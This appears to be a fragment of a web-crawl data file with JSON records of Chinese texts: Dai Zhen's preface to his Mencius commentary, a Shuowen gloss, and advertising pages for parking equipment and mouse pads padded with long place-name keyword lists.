+{"text":"丙申余少讀論語,端木氏之言曰:「夫子之文章可得而聞也,夫子之言性與天道不可得而聞也。」讀易,乃知畜性與天道在是。周道衰,舜、禹、湯、文、武、周公致治之法,煥乎有文章者,棄為陳跡。孔子既不得位,不能垂諸制度禮樂,是以為之正本溯源,使人於千百世治亂之故,制度禮樂因革之宜,如持權衡以御輕重,如規矩準繩之於方圜平直。言似高遠,而不得不言。自孔子言之,實言前聖所未言;微孔子,孰從而聞之?故曰「不可得而聞」。是後私智穿鑿者,亦警於亂世,或以其道全身而遠禍,或以其道能誘人心有治無亂;而謬在大本,舉一廢百;意非不善,其言衹足以賊道,孟子於是不能已於與辯。當是時,群共稱孟子好辯矣。孟子之書,有曰「我知言」,曰「遊於聖人之鬥者難為言」。蓋言之謬,非終於言也,將轉移人心;心受其蔽,必害於事,害於政。彼目之曰小人之害天下後世也,顯而共見;目之曰賢智君子之害天下後世也。相率趨之以為美言。其人人心深,禍斯民也大,而終莫之或寤。辯惡可已哉!孟子辯楊、墨;後人習聞楊、墨、老、莊、佛之言,且以其言汩亂孟子之言,是又後乎孟子者之不可已也。苟吾不能知之亦已矣,吾知之而不言,是不忠也,是對古聖人賢人而自負其學,對天下後世之仁人而自遠於仁也。吾用是懼,述孟子字義疏證三卷。*韓退之氏曰:「道於楊、墨、老、莊、佛之學而欲之聖人之道,猶航斷港絕潢以望至於海也。故求觀聖人之道,必自孟子始。」嗚乎,不可易矣!休寧戴震。","id":"","dump":"CC-MAIN-2023-06","url":"http:\/\/www.guoxuemi.com\/a\/1693zrou\/121169b.html","date":"2023-02-07T08:04:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500392.45\/warc\/CC-MAIN-20230207071302-20230207101302-00830.warc.gz","language":"lzh","language_score":0.5257838368,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5257838368415833, \"cmn_Hani_score\": 0.4175918698310852, \"nan_Hani_score\": 0.02745368517935276, \"wuu_Hani_score\": 0.012813396751880646}","num_words":1,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.643,"perplexity_score":500.0,"cluster_detection":1} +{"text":"立體停車設備租賃有關立體停車場租賃的相關問題,談到立體停車設備租賃,相信很多人都有興趣,確實有這么多人對立體停車設備租賃感興趣,越來越多的投資者愿意通過租用立體停車設備來緩解停車問題,更不愿意建立車庫,因為立體停車設備的出租,價格要比立體車庫的成本簡單得多,因此很多人寧愿選擇立體停車設備租賃。\n如何引用三維停車場租賃?首先,客戶必須選擇正確的類型以查看三維車庫是如何引用的。如果你如果您建造電梯并轉移到三維車庫,則根據有效停車位計算。例如,如果您有三個以上的停車位,下方有兩個停車位,并且旁邊有一個可用空間,那就是五個停車位,因此您引用的時間也按照五個有效停車位引用,所以類比,如果你正在建立一個簡單的升降式立體車庫,簡易升降式立體車庫是一組兩個停車位,所以當報價是根據一組停車位報價時。二,新舊立體車庫租賃問題現在立體車庫租賃也很普遍,一些開發商不愿意建立立體車庫,解決停車位問題租,立體車庫外觀的新舊問題是影響立體車庫價格的重要因素。三,立體車庫租賃長期問題所謂立體車庫租賃是一段立體車庫租賃一段時間,立體車庫被拆除,所以立體車庫的租賃時間長期問題也影響了立體車庫的長期租賃。\n四,車庫的實際情況\n如果您決定租用停車場,進行實地調查。有關停車位的布局,高度,深度和海灣的問題需要解決。清楚明白。另外,如果parking車庫出租在地下,一定要看車庫排水系統是否異常。在準備簽署合同時,必須要求開發商附上停車位的結構圖。\n立體停車庫將在未來再次提升停車設備,并將在整個行業內迅速發展。周圍的停車政策也不時在改善。由于停車設備的租賃,對停車位的需求也在增加。一些公司將業務范圍從停車設備制造業推向停車業,停車設備租賃合同,投資,生產和管理。發展的結合,這也是行業發展的一個趨勢深入研究。汽車行業為停車設備行業帶來了巨大的商機和廣闊的市場。\n聲明: 本網站所發布文章,部分信息來自于互聯網,如有侵權,請聯系刪除(QQ:382666579)\n貴州 貴陽 六盤水 遵義 安順 畢節 銅仁 黔西南 黔東南 黔南 南明 云巖 花溪 烏當 白云 觀山湖 開陽 息烽 修文 清鎮 鐘山 六枝 水城 盤州 紅花崗 匯川 播州 桐梓 綏陽 正安 道真 務川 鳳岡 湄潭 余慶 習水 赤水 仁懷 西秀 平壩 普定 鎮寧 關嶺 紫云 七星關 大方 黔西 金沙 織金 納雍 威寧 赫章 碧江 萬山 江口 玉屏 石阡 思南 印江 德江 沿河 松桃 興義 興仁 普安 晴隆 貞豐 望謨 冊亨 安龍 凱里 黃平 施秉 三穗 鎮遠 岑鞏 天柱 錦屏 劍河 臺江 黎平 榕江 從江 雷山 麻江 丹寨 都勻 福泉 荔波 貴定 甕安 獨山 平塘 羅甸 長順 龍里 惠水 三都水 甘肅 蘭州 嘉峪關 金昌 白銀 天水 武威 張掖 平涼 酒泉 慶陽 定西 隴南 臨夏 甘南 城關 七里河 西固 紅古 永登 皋蘭 榆中 永昌 白銀 平川 靖遠 會寧 景泰 秦州 麥積 清水 秦安 甘谷 武山 張家川 涼州 民勤 古浪 天祝 甘州 肅南 民樂 臨澤 高臺 山丹 崆峒 涇川 靈臺 崇信 莊浪 靜寧 華亭 肅州 金塔 瓜州 肅北 阿克塞 玉門 敦煌 西峰 慶城 環縣 華池 合水 正寧 寧縣 鎮原 安定 通渭 隴西 渭源 臨洮 漳縣 岷縣 武都 成縣 文縣 宕昌 康縣 西和 禮縣 徽縣 兩當 康樂 永靖 廣河 和政 東鄉 積石山 合作 臨潭 卓尼 舟曲 迭部 瑪曲 碌曲 夏河 陜西 西安 銅川 寶雞 咸陽 渭南 延安 漢中 榆林 安康 商洛 新城 碑林 蓮湖 灞橋 未央 雁塔 閻良 臨潼 長安 高陵 鄠邑 藍田 周至 王益 印臺 耀州 宜君 渭濱 金臺 陳倉 鳳翔 岐山 扶風 眉縣 隴縣 千陽 麟游 鳳縣 太白 秦都 楊陵 渭城 三原 涇陽 乾縣 禮泉 永壽 長武 旬邑 淳化 武功 興平 彬州 臨渭 華州 潼關 大荔 合陽 澄城 蒲城 白水 富平 韓城 華陰 寶塔 安塞 延長 延川 子長 志丹 吳起 甘泉 富縣 洛川 宜川 黃龍 黃陵 漢臺 南鄭 城固 洋縣 西鄉 勉縣 寧強 略陽 鎮巴 留壩 佛坪 榆陽 橫山 府谷 靖邊 定邊 綏德 米脂 佳縣 吳堡 清澗 子洲 神木 漢濱 漢陰 石泉 寧陜 紫陽 嵐皋 平利 鎮坪 旬陽 白河 商州 洛南 丹鳳 商南 山陽 鎮安 柞水 四川 成都 自貢 攀枝花 瀘州 德陽 綿陽 廣元 遂寧 內江 樂山 南充 眉山 宜賓 廣安 達州 雅安 巴中 資陽 阿壩 甘孜 涼山 錦江 青羊 金牛 武侯 成華 龍泉驛 青白江 新都 溫江 雙流 郫都 金堂 大邑 蒲江 新津 都江堰 彭州 邛崍 崇州 簡陽 自流井 貢井 大安 沿灘 榮縣 富順 東區 西區 仁和 米易 鹽邊 江陽 納溪 龍馬潭 瀘縣 合江 敘永 古藺 旌陽 羅江 中江 廣漢 什邡 綿竹 涪城 游仙 安州 三臺 鹽亭 梓潼 北川 平武 江油 利州 昭化 朝天 旺蒼 青川 劍閣 蒼溪 船山 安居 蓬溪 射洪 大英 東興 威遠 資中 隆昌 沙灣 五通橋 金口河 犍為 井研 夾江 沐川 峨邊 馬邊 峨眉山 順慶 高坪 嘉陵 南部 營山 蓬安 儀隴 西充 閬中 東坡 彭山 仁壽 洪雅 丹棱 青神 翠屏 南溪 敘州 江安 長寧 高縣 珙縣 筠連 興文 屏山 前鋒 岳池 武勝 鄰水 華鎣 通川 達川 宣漢 開江 大竹 渠縣 萬源 雨城 名山 滎經 漢源 石棉 天全 蘆山 寶興 巴州 恩陽 通江 南江 平昌 雁江 安岳 樂至 馬爾康 汶川 理縣 茂縣 松潘 九寨溝 金川 小金 黑水 壤塘 若爾蓋 紅原 康定 瀘定 丹巴 九龍 雅江 道孚 爐霍 新龍 德格 白玉 石渠 色達 理塘 巴塘 鄉城 稻城 得榮 西昌 木里 鹽源 德昌 會理 會東 寧南 普格 布拖 金陽 昭覺 喜德 冕寧 越西 甘洛 美姑 雷波 重慶 萬州 涪陵 渝中 大渡口 江北 沙坪壩 九龍坡 南岸 北碚 綦江 大足 渝北 巴南 黔江 長壽 江津 合川 永川 南川 璧山 銅梁 潼南 榮昌 開州 梁平 武隆 城口 豐都 墊江 忠縣 云陽 奉節 巫山 巫溪 石柱 秀山 酉陽 彭水 云南 昆明 曲靖 玉溪 保山 昭通 麗江 普洱 臨滄 楚雄 紅河 文山 西雙版納 大理 德宏 怒江 迪慶 五華 盤龍 官渡 西山 東川 呈貢 晉寧 富民 宜良 石林 嵩明 祿勸 尋甸 安寧 麒麟 沾益 馬龍 陸良 師宗 羅平 富源 會澤 宣威 紅塔 江川 澄江 通海 華寧 易門 峨山 新平 元江 隆陽 施甸 龍陵 昌寧 騰沖 昭陽 魯甸 巧家 鹽津 大關 永善 綏江 鎮雄 彝良 威信 水富 古城 玉龍 永勝 華坪 寧蒗 思茅 寧洱 墨江 景東 景谷 鎮沅 江城 孟連 瀾滄 西盟 臨翔 鳳慶 云縣 永德 鎮康 雙江 耿馬 滄源 雙柏 牟定 南華 姚安 大姚 永仁 元謀 武定 祿豐 個舊 開遠 蒙自 彌勒 屏邊 建水 石屏 瀘西 元陽 金平 綠春 河口 硯山 西疇 麻栗坡 馬關 丘北 廣南 富寧 景洪 勐海 勐臘 漾濞 祥云 賓川 彌渡 南澗 巍山 永平 云龍 洱源 劍川 鶴慶 瑞麗 芒市 梁河 盈江 隴川 瀘水 福貢 貢山 蘭坪 香格里拉 德欽 維西 湖北 湖南 廣西","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.publicadesign.com\/xinwen\/wenti\/87.html","date":"2023-03-22T07:12:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943750.71\/warc\/CC-MAIN-20230322051607-20230322081607-00290.warc.gz","language":"lzh","language_score":0.4518851936,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4518851935863495, \"cmn_Hani_score\": 0.4421134889125824, \"nan_Hani_score\": 0.09468807280063629}","num_words":704,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.268,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.501,"perplexity_score":500.0,"cluster_detection":1} +{"text":"企業資信登記證書\n垂直升降停車設備在整個的設計上非常的具有合理性,而且在應用中還可以更好的滿足應用效果,在不同的環境上都是能正常的滿足應用。它的使用范圍上更廣泛,其中的商場以及輕工及電器等工廠、倉庫、碼頭及機場貨物連續輸送。在不同的場合上都是能夠非常正常的滿足應用,而還具有很好的傳送效率??刂葡到y、安全和檢測系統組成,不僅僅在效率上很靠譜,同時在應用中更具有整體上的應用效果,非常的具有便利性的優勢。\n工作原理:\n存車時,升降機把車提升到指定層的層高稍高一點,停車板移動到中間,由于停車板和升降機的載車臺都是梳齒狀的,當升降機下降,車子就留在停車板上了,然后停車板移動回原位。取車的過程與之類似,空的停車板平移到中間與升降機進行梳齒式交換,然后升降機把車降到地面。\n升降機的載車板還有旋轉功能,以便取車時把車子轉向頭朝外的方向。旋轉動作只能在地面層進行。\n設備技術特點:\n1、單位面積容車量大,高能夠達到平均一輛車僅占一平方米的空間,大大提高土地使用率;\n2、高智能化,可預約存取車輛,存取車速度快,存(?。┸嚻骄鶗r間約60秒,有效緩沖同時存取車的需求;\n3、存取車均向前開,無需倒車、掉頭等動作;車輛在車庫出入口處停好以后既可直接開出車廳;\n4、遠程監控和故障診斷功能,系統可自動識別庫內人員,無人時系統方可啟動,安全;\n5、綠色環保:與主體建筑融為一體,外形美觀,提升建筑品味、價值。\n適用場合:酒店、餐飲、服務行業密集,對于存取車的時間比較自由的區域。\n重慶 萬州 涪陵 渝中 大渡口 江北 沙坪壩 九龍坡 南岸 北碚 綦江 大足 渝北 巴南 黔江 長壽 江津 合川 永川 南川 璧山 銅梁 潼南 榮昌 開州 梁平 武隆 城口 豐都 墊江 忠縣 云陽 奉節 巫山 巫溪 石柱 秀山 酉陽 彭水 云南 昆明 曲靖 玉溪 保山 昭通 麗江 普洱 臨滄 楚雄 紅河 文山 西雙版納 大理 德宏 怒江 迪慶 五華 盤龍 官渡 西山 東川 呈貢 晉寧 富民 宜良 石林 嵩明 祿勸 尋甸 安寧 麒麟 沾益 馬龍 陸良 師宗 羅平 富源 會澤 宣威 紅塔 江川 澄江 通海 華寧 易門 峨山 新平 元江 隆陽 施甸 龍陵 昌寧 騰沖 昭陽 魯甸 巧家 鹽津 大關 永善 綏江 鎮雄 彝良 威信 水富 古城 玉龍 永勝 華坪 寧蒗 思茅 寧洱 墨江 景東 景谷 鎮沅 江城 孟連 瀾滄 西盟 臨翔 鳳慶 云縣 永德 鎮康 雙江 耿馬 滄源 雙柏 牟定 南華 姚安 大姚 永仁 元謀 武定 祿豐 個舊 開遠 蒙自 彌勒 屏邊 建水 石屏 瀘西 元陽 金平 綠春 河口 硯山 西疇 麻栗坡 馬關 丘北 廣南 富寧 景洪 勐海 勐臘 漾濞 祥云 賓川 彌渡 南澗 巍山 永平 云龍 洱源 劍川 鶴慶 瑞麗 芒市 梁河 盈江 隴川 瀘水 福貢 貢山 蘭坪 香格里拉 德欽 維西 貴州 貴陽 六盤水 遵義 安順 畢節 銅仁 黔西南 黔東南 黔南 南明 云巖 花溪 烏當 白云 觀山湖 開陽 息烽 修文 清鎮 鐘山 六枝 水城 盤州 紅花崗 匯川 播州 桐梓 綏陽 正安 道真 務川 鳳岡 湄潭 余慶 習水 赤水 仁懷 西秀 平壩 普定 鎮寧 關嶺 紫云 七星關 大方 黔西 金沙 織金 納雍 威寧 赫章 碧江 萬山 江口 玉屏 石阡 思南 印江 德江 沿河 松桃 興義 興仁 普安 晴隆 貞豐 望謨 冊亨 安龍 凱里 黃平 施秉 三穗 鎮遠 岑鞏 天柱 錦屏 劍河 臺江 黎平 榕江 從江 雷山 麻江 丹寨 都勻 福泉 荔波 貴定 甕安 獨山 平塘 羅甸 長順 龍里 惠水 三都水 甘肅 蘭州 嘉峪關 金昌 白銀 天水 武威 張掖 平涼 酒泉 慶陽 定西 隴南 臨夏 甘南 城關 七里河 西固 紅古 永登 皋蘭 榆中 永昌 白銀 平川 靖遠 會寧 景泰 秦州 麥積 清水 秦安 甘谷 武山 張家川 涼州 民勤 古浪 天祝 甘州 肅南 民樂 臨澤 高臺 山丹 崆峒 涇川 靈臺 崇信 莊浪 靜寧 華亭 肅州 金塔 瓜州 肅北 阿克塞 玉門 敦煌 西峰 慶城 環縣 華池 合水 正寧 寧縣 鎮原 安定 通渭 隴西 渭源 臨洮 漳縣 岷縣 武都 成縣 文縣 宕昌 康縣 西和 禮縣 徽縣 兩當 康樂 永靖 廣河 和政 東鄉 積石山 合作 臨潭 卓尼 舟曲 迭部 瑪曲 碌曲 夏河 陜西 西安 銅川 寶雞 咸陽 渭南 延安 漢中 榆林 安康 商洛 新城 碑林 蓮湖 灞橋 未央 雁塔 閻良 臨潼 長安 高陵 鄠邑 藍田 周至 王益 印臺 耀州 宜君 渭濱 金臺 陳倉 鳳翔 岐山 扶風 眉縣 隴縣 千陽 麟游 鳳縣 太白 秦都 楊陵 渭城 三原 涇陽 乾縣 禮泉 永壽 長武 旬邑 淳化 武功 興平 彬州 臨渭 華州 潼關 大荔 合陽 澄城 蒲城 白水 富平 韓城 華陰 寶塔 安塞 延長 延川 子長 志丹 吳起 甘泉 富縣 洛川 宜川 黃龍 黃陵 漢臺 南鄭 城固 洋縣 西鄉 勉縣 寧強 略陽 鎮巴 留壩 佛坪 榆陽 橫山 府谷 靖邊 定邊 綏德 米脂 佳縣 吳堡 清澗 子洲 神木 漢濱 漢陰 石泉 寧陜 紫陽 嵐皋 平利 鎮坪 旬陽 白河 商州 洛南 丹鳳 商南 山陽 鎮安 柞水 四川 成都 自貢 攀枝花 瀘州 德陽 綿陽 廣元 遂寧 內江 樂山 南充 眉山 宜賓 廣安 達州 雅安 巴中 資陽 阿壩 甘孜 涼山 錦江 青羊 金牛 武侯 成華 龍泉驛 青白江 新都 溫江 雙流 郫都 金堂 大邑 蒲江 新津 都江堰 彭州 邛崍 崇州 簡陽 自流井 貢井 大安 沿灘 榮縣 富順 東區 西區 仁和 米易 鹽邊 江陽 納溪 龍馬潭 瀘縣 合江 敘永 古藺 旌陽 羅江 中江 廣漢 什邡 綿竹 涪城 游仙 安州 三臺 鹽亭 梓潼 北川 平武 江油 利州 昭化 朝天 旺蒼 青川 劍閣 蒼溪 船山 安居 蓬溪 射洪 大英 東興 威遠 資中 隆昌 沙灣 五通橋 金口河 犍為 井研 夾江 沐川 峨邊 馬邊 峨眉山 順慶 高坪 嘉陵 南部 營山 蓬安 儀隴 西充 閬中 東坡 彭山 仁壽 洪雅 丹棱 青神 翠屏 南溪 敘州 江安 長寧 高縣 珙縣 筠連 興文 屏山 前鋒 岳池 武勝 鄰水 華鎣 通川 達川 宣漢 開江 大竹 渠縣 萬源 雨城 名山 滎經 漢源 石棉 天全 蘆山 寶興 巴州 恩陽 通江 南江 平昌 雁江 安岳 樂至 馬爾康 汶川 理縣 茂縣 松潘 九寨溝 金川 小金 黑水 壤塘 若爾蓋 紅原 康定 瀘定 丹巴 九龍 雅江 道孚 爐霍 新龍 德格 白玉 石渠 色達 理塘 巴塘 鄉城 稻城 得榮 西昌 木里 鹽源 德昌 會理 會東 寧南 普格 布拖 金陽 昭覺 喜德 冕寧 越西 甘洛 美姑 雷波 湖北 湖南 廣西","id":"","dump":"CC-MAIN-2023-23","url":"http:\/\/www.colecciondeflores.com\/guanyu\/rongyu\/206.html","date":"2023-06-02T04:43:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648322.84\/warc\/CC-MAIN-20230602040003-20230602070003-00175.warc.gz","language":"lzh","language_score":0.5984556675,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5984556674957275, \"cmn_Hani_score\": 0.2432573139667511, \"nan_Hani_score\": 0.15289951860904694}","num_words":709,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.287,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.692,"perplexity_score":500.0,"cluster_detection":1} +{"text":"上文云論難曰語。又云語、論也。是論議語三字爲與人言之稱。按許說未盡。議者、誼也。誼者、人所宜也。言得其宜之謂議。至於詩言岀入風議、孟子言處士横議、而天下亂矣。\n韵會引有此四字。\n當云从言義、義亦聲。宜寄切。古音在十七部。","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.shuowen.org\/view\/1508?pinyin=yi","date":"2024-02-22T10:27:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473738.92\/warc\/CC-MAIN-20240222093910-20240222123910-00396.warc.gz","language":"lzh","language_score":0.4974467158,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.4974467158317566, \"cmn_Hani_score\": 0.4028565287590027, \"jpn_Jpan_score\": 0.03187654912471771, \"nan_Hani_score\": 0.030207183212041855, \"wuu_Hani_score\": 0.021358737722039223, \"yue_Hani_score\": 0.015296475030481815}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.497,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2011-11-09\n选择君来运的优势:\n(1)独特优势:小批量订做鼠标垫,免费鼠标垫设计,质量保证,安全诚信,货到付款;单色Logo鼠标垫:500份批发; 热转印鼠标垫:1000份起印。\n(2)产品优势:鼠标垫材质100%天然橡胶,柔软,弹性极佳,手感好,厚度足够厚;鼠标垫经久耐用,不起边,不开胶,不老化。\n(3)国际认证:我厂空白鼠标垫,广告鼠标垫,天然橡胶鼠标垫,布面鼠标垫,橡胶鼠标垫,布面橡胶鼠标垫,EVA鼠标垫,泡棉鼠标垫,橡胶布面鼠标垫,PVC鼠标垫,硅胶鼠标垫,防滑鼠标垫,护腕鼠标垫,杯垫,广告杯垫,桌垫,餐垫,等全部通过SGS,ROHS,EN71,AOV等国际环保认证。\n(4)工厂实力:我厂是专业的鼠标垫厂家,拥有实体厂房和生产设备;2条天然橡胶发泡生产线,1条丝网印刷鼠标垫流水线,2台全自动热转鼠标垫印刷机,2条酒吧垫生产线。\n(5)印刷效果:广告鼠标垫色彩鲜艳,亮丽;可达到原稿的90%以上广告效果,不褪色,不掉色,可机洗,手洗,刷子刷。\n(6)成功案例:我厂签约客户:中国电信广东分公司,中国移动,中国联通黑龙江分公司,IT行业,物流与快递行业,餐饮服务行业,教育行业,银行.金融行业,广告行业,酒店行业,食品药品行业,汽车行业,烟酒行业,游戏行业等等;每个行业都需要我们,我们的产品给每个行业做广告宣传。\n(7)种类丰富:我厂鼠标垫定做规格近3000多个;客户可直接来图,来稿,来样定做;无需开模,方便,快捷;也可进行鼠标垫批发零售。\n(8)产品齐全:广告杯垫,桌垫,餐垫,防滑垫,地垫,门垫,植绒垫,广告鼠标垫,鼠标垫定做,鼠标垫厂家,空白鼠标垫,订做鼠标垫,定做鼠标地,鼠标垫批发,鼠标垫厂,定制鼠标垫,鼠标垫订制,定做广告鼠标垫,广告鼠标垫厂家,鼠标垫订做,鼠标垫定制,鼠标垫工厂,订制鼠标垫,礼品鼠标垫,赠品鼠标垫,促销鼠标垫,广告鼠标垫定做。\n1:泡沫.泡棉.海绵类:eva泡棉,eva海绵,eva泡沫,防静电泡棉,防火泡棉,阻燃泡棉,海绵eva,泡棉eva,泡沫eva,导电海绵,导电泡棉,防静电海绵,防静电泡沫,防火海绵,阻燃海绵,防火eva,阻燃eva,防静电eva,导电eva,高弹泡棉,高弹泡沫,高弹海绵,pe泡棉,pe海绵,pe泡沫,\n2:胶垫.脚垫.胶贴.胶条类:双面胶贴,单面胶贴,海绵胶贴,泡棉胶贴,泡沫胶贴,海绵胶条,泡棉胶条,泡沫胶条,eva胶条,eva胶垫,eva胶贴,eva脚垫,泡沫胶垫,泡棉胶垫,海绵胶垫,泡棉脚垫,海绵脚垫,泡沫脚垫,泡棉双面胶贴,泡棉双面胶垫,泡棉双面胶条,泡沫双面胶贴,泡沫双面胶垫,泡沫双面胶条,海绵双面胶贴,海绵双面胶垫,海绵双面胶条,特种双面胶贴.....\n3:内托.内衬.内盒.护架类:泡棉内托,泡棉内衬,泡棉内盒,泡棉护架,海绵内托,海绵内衬,海绵内盒,海绵护架,泡沫内托,泡沫内衬,泡沫内盒,泡沫护架,eva内托,eva内衬,eva内盒,eva护架,植绒内托,植绒内衬,植绒内盒,植绒护架,防震内托,防震内衬,防震内盒,防震护架,减震内托,减震内盒,减震内衬,减震护架,珍珠棉内托,珍珠棉内衬,珍珠棉内盒,珍珠棉护架......\n4:双面胶.医用.工业.特种进口双面胶带类:双面胶,泡沫双面胶,泡棉双面胶,海绵双面胶,eva双面胶,pe双面胶,pvc双面胶,pet双面胶,3m双面胶,导热双面胶,可移双面胶,汽车双面胶,亚克力双面胶,耐高温双面胶,进口双面胶,国产双面胶,医用双面胶,3m医用双面胶,工业双面胶,工业粘胶带,特种双面胶,特种双面胶带,特种双面胶贴,双面胶厂,双面胶厂家,双面胶生产厂家,双面胶价格,双面胶型号,双面胶公司,双面胶工厂,索尼(SONY)双面胶,德莎(TESA)双面胶,日东(NITTO)双面胶.....\n5:泡棉双面胶.双面胶模切成型冲型类:泡棉双面胶,泡绵双面胶,eva泡棉双面胶,pe泡棉双面胶,3m泡棉双面胶,汽车泡棉双面胶,亚克力泡棉双面胶,压克力泡棉双面胶,VHB泡棉双面胶,耐高温泡棉双面胶,超强泡棉双面胶,挂钩泡棉胶,挂钩泡棉双面胶,进口泡棉双面胶,韩国泡棉双面胶,国产泡棉双面胶,nbr泡棉双面胶,epdm泡棉双面胶,cr泡棉双面胶,高弹泡棉双面胶,\n君来运产品支持全国所有地区前来咨询,报价与订做:北京 和平 河东 河西 南开 河北 红桥 塘沽 汉沽 大港 东丽 西青 北辰 津南 武清 宝坻 静海 宁河 蓟县 辛集 藁城 晋州 新乐 鹿泉 平山 井陉 栾城 正定 行唐 灵寿 高邑 赵县 赞皇 深泽 无极 元氏 唐山 遵化 迁安 迁西 滦南 玉田 唐海 乐亭 滦县 昌黎 卢龙 抚宁 邯郸 武安 邯郸 永年 曲周 馆陶 魏县 成安 大名 涉县 鸡泽 邱县 广平 肥乡 临漳 磁县 邢台 南宫 沙河 邢台 柏乡 任县 清河 宁晋 威县 隆尧 临城 广宗 临西 内丘 平乡 巨鹿 新河 南和 保定 涿州 定州 安国 满城 清苑 涞水 阜平 徐水 定兴 唐县 高阳 容城 涞源 望都 安新 易县 曲阳 蠡县 顺平 博野 雄县 宣化 康保 张北 阳原 赤城 沽源 怀安 怀来 崇礼 尚义 蔚县 涿鹿 万全 承德 承德 兴隆 隆化 平泉 滦平 沧州 泊头 任丘 黄骅 河间 沧县 青县 献县 东光 海兴 盐山 肃宁 南皮 吴桥 廊坊 霸州 三河 固安 永清 香河 大城 文安 衡水 冀州 深州 饶阳 枣强 故城 阜城 安平 武邑 景县 武强 石家庄 张家口 高碑店 秦皇岛 大厂 青龙 丰宁 宽城 孟村 围场 山西 太原 古交 阳曲 清徐 娄烦 大同 大同 天镇 灵丘 阳高 左云 广灵 浑源 阳泉 平定 盂县 长治 潞城 长治 长子 平顺 襄垣 沁源 屯留 黎城 武乡 沁县 壶关 晋城 高平 泽州 陵川 阳城 沁水 朔州 山阴 右玉 应县 怀仁 晋中 介休 昔阳 灵石 祁县 左权 寿阳 太谷 和顺 平遥 榆社 运城 河津 永济 闻喜 新绛 平陆 垣曲 绛县 稷山 芮城 夏县 万荣 临猗 忻州 原平 代县 神池 五寨 五台 偏关 宁武 静乐 繁峙 河曲 保德 定襄 岢岚 临汾 侯马 霍州 汾西 吉县 安泽 大宁 浮山 古县 隰县 襄汾 翼城 永和 乡宁 曲沃 洪洞 蒲县 吕梁 孝义 汾阳 文水 中阳 兴县 临县 方山 柳林 岚县 交口 交城 石楼 武川 包头 固阳 乌海 赤峰 宁城 林西 敖汉 开鲁 通辽 库伦 奈曼 乌审 杭锦 根河 阿荣 五原 磴口 丰镇 兴和 卓资 商都 凉城 化德 多伦 正蓝 镶黄 兴安 突泉 托克托 清水河 喀喇沁 巴林左 翁牛特 巴林右 扎鲁特 准格尔 鄂托克 达拉特 牙克石 扎兰屯 杭锦后 四子王 阿巴嘎 太仆寺 正镶白 阿尔山 阿拉善 呼和浩特 霍林郭勒 鄂尔多斯 呼伦贝尔 巴彦淖尔 锡林浩特 锡林郭勒 乌兰浩特 科尔沁 沈阳 新民 法库 辽中 康平 大连 庄河 长海 鞍山 海城 台安 抚顺 抚顺 本溪 丹东 东港 凤城 锦州 凌海 北宁 黑山 义县 营口 盖州 阜新 彰武 辽阳 灯塔 辽阳 盘锦 盘山 大洼 铁岭 开原 铁岭 昌图 西丰 朝阳 凌源 北票 朝阳 建平 兴城 绥中 建昌 大石桥 瓦房店 普兰店 调兵山 葫芦岛 长春 九台 榆树 德惠 农安 吉林 舒兰 桦甸 蛟河 磐石 永吉 四平 双辽 梨树 辽源 东辽 东丰 通化 集安 通化 辉南 柳河 白山 临江 靖宇 抚松 江源 松原 乾安 长岭 扶余 白城 大安 洮南 镇赉 通榆 延吉 图们 敦化 龙井 珲春 和龙 安图 汪清 公主岭 梅河口 阿城 尚志 双城 五常 方正 宾县 依兰 巴彦 通河 木兰 延寿 讷河 富裕 拜泉 甘南 依安 克山 泰来 克东 龙江 鹤岗 萝北 绥滨 集贤 宝清 友谊 饶河 鸡西 密山 虎林 鸡东 大庆 林甸 肇州 肇源 漠河 伊春 铁力 嘉荫 宁安 海林 穆棱 林口 东宁 同江 富锦 桦川 抚远 桦南 汤原 勃利 黑河 北安 逊克 嫩江 孙吴 绥化 安达 肇东 海伦 绥棱 兰西 明水 青冈 庆安 望奎 呼玛 塔河 七台河 双鸭山 牡丹江 佳木斯 绥芬河 哈尔滨 齐齐哈尔 五大连池 上海 黄浦 卢湾 徐汇 长宁 静安 普陀 闸北 虹口 杨浦宝山 闵行 嘉定 松江 金山 青浦 南汇 奉贤 崇明 浦东新区 江苏 南京 溧水 高淳 无锡 江阴 宜兴 徐州 邳州 新沂 铜山 睢宁 沛县 丰县 常州 金坛 溧阳 苏州 常熟 太仓 昆山 吴江 南通 如皋 通州 海门 启东 海安 如东 东海 灌云 赣榆 灌南 淮安 涟水 洪泽 金湖 盱眙 盐城 东台 大丰 建湖 响水 阜宁 射阳 滨海 扬州 高邮 江都 仪征 宝应 镇江 丹阳 扬中 句容 泰州 泰兴 姜堰 靖江 兴化 宿迁 沭阳 泗阳 泗洪 连云港 张家港 浙江 杭州 建德 富阳 临安 桐庐 淳安 宁波 余姚 慈溪 奉化 宁海 象山 温州 瑞安 乐清 永嘉 洞头 平阳 苍南 文成 泰顺 嘉兴 海宁 平湖 桐乡 嘉善 海盐 湖州 长兴 德清 安吉 绍兴 诸暨 上虞 嵊州 绍兴 新昌 金华 兰溪 义乌 东阳 永康 武义 浦江 磐安 衢州 江山 龙游 常山 开化 舟山 岱山 嵊泗 台州 临海 玉环 天台 仙居 三门 丽水 龙泉 缙云 青田 云和 遂昌 松阳 庆元 景宁 安徽 合肥 长丰 肥东 肥西 芜湖 芜湖 南陵 繁昌 